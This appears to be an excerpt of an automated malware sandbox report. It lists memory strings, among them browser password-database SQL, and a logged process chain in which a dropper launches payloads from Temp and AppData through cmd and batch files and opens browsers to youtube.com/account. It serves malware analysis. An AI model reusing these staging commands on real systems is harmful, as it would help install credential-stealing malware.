Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.11.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.11.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.11.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.11.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.11.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: bfb8bb0dc7.exe, bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.11.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: bfb8bb0dc7.exe, 0000000B.00000003.2856849550.0000000022E09000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000003.2885748610.0000000022DFC000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.11.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.11.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: bfb8bb0dc7.exe, 0000000B.00000002.3103235521.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, bfb8bb0dc7.exe, 0000000B.00000002.3125692171.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.11.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 6SoKuOqyNh.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

File read: C:\Users\user\Desktop\6SoKuOqyNh.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\6SoKuOqyNh.exe "C:\Users\user\Desktop\6SoKuOqyNh.exe"
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe "C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\d27375200a.exe "C:\Users\user\1000003002\d27375200a.exe"
Source: C:\Users\user\1000003002\d27375200a.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat C:\Users\user\1000003002\d27375200a.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2104,i,2763615900740779582,2928717422686434053,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f267dd4-7cc3-4504-b66d-b554eae41855} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 1892526ad10 socket
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5280 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=3540 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -parentBuildID 20230927232528 -prefsHandle 3208 -prefMapHandle 3204 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2957b26f-774e-48be-a5e4-6995945e05fa} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 189373ea410 rdd
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7340 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe "C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe"
Source: unknown	Process created: C:\Users\user\1000003002\d27375200a.exe "C:\Users\user\1000003002\d27375200a.exe"
Source: C:\Users\user\1000003002\d27375200a.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat C:\Users\user\1000003002\d27375200a.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,9310775074731790964,8760316038364529683,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJKECAAAFH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingHJKECAAAFH.exe "C:\Users\user\AppData\RoamingHJKECAAAFH.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6720 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7056 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe "C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\d27375200a.exe "C:\Users\user\1000003002\d27375200a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJKECAAAFH.exe"	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat C:\Users\user\1000003002\d27375200a.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=2256,i,12859344246917402077,1353247810428413468,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2104,i,2763615900740779582,2928717422686434053,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2256 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3f267dd4-7cc3-4504-b66d-b554eae41855} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 1892526ad10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -parentBuildID 20230927232528 -prefsHandle 3208 -prefMapHandle 3204 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2957b26f-774e-48be-a5e4-6995945e05fa} 4512 "\\.\pipe\gecko-crash-server-pipe.4512" 189373ea410 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5280 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=3540 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6660 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7340 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6720 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7056 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
